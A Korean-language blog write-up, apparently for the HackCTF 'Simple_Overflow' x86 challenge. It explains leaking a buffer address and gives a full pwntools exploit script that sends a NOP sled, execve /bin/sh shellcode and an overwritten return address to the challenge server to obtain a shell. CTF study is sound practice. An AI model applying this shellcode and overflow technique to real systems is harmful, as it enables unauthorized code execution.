x86 바이너리인데 x64 바이너리로 착각해서 디컴파일하는데 개고생했다.
Simple_Overflow 답게 보호기법이 아무것도 적용되어 있지 않다.
주소값이 달라지는 것을 보아하니 ASLR만이 존재한다.
코드를 봐보자. 코드 분석만 조금 고민하면 쉽게 exploit 코드를 짤 수 있다.
버퍼의 주소를 얻는 코드가 버퍼에 문자열을 입력받는 코드보다 아래에 있으므로 우선 버퍼의 주소를 얻어놓은 다음에 while 문을 한 cycle 돌려서 그 다음번 while 문에서 payload를 전달하면 될 것 같다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3006)
#Get buffer address
r.recvuntil("Data : ")
r.sendline("AAAA")
buf = int(r.recv(10), 16)
r.recvuntil("(y/n): ")
r.sendline("Y")
#EXPLOIT
r.recvuntil("Data : ")
payload = "\x90"*20
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
payload += "\x90"*95
payload += p32(buf)
r.sendline(payload)
#Out from while
r.recvuntil("(y/n): ")
r.sendline("N")
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
Beginner_Heap (0) | 2020.08.28 |
---|---|
x64 Simple_size_BOF (0) | 2020.08.28 |
x64 Buffer Overflow (0) | 2020.08.28 |
ROP (0) | 2020.08.28 |
RTL_World (0) | 2020.08.28 |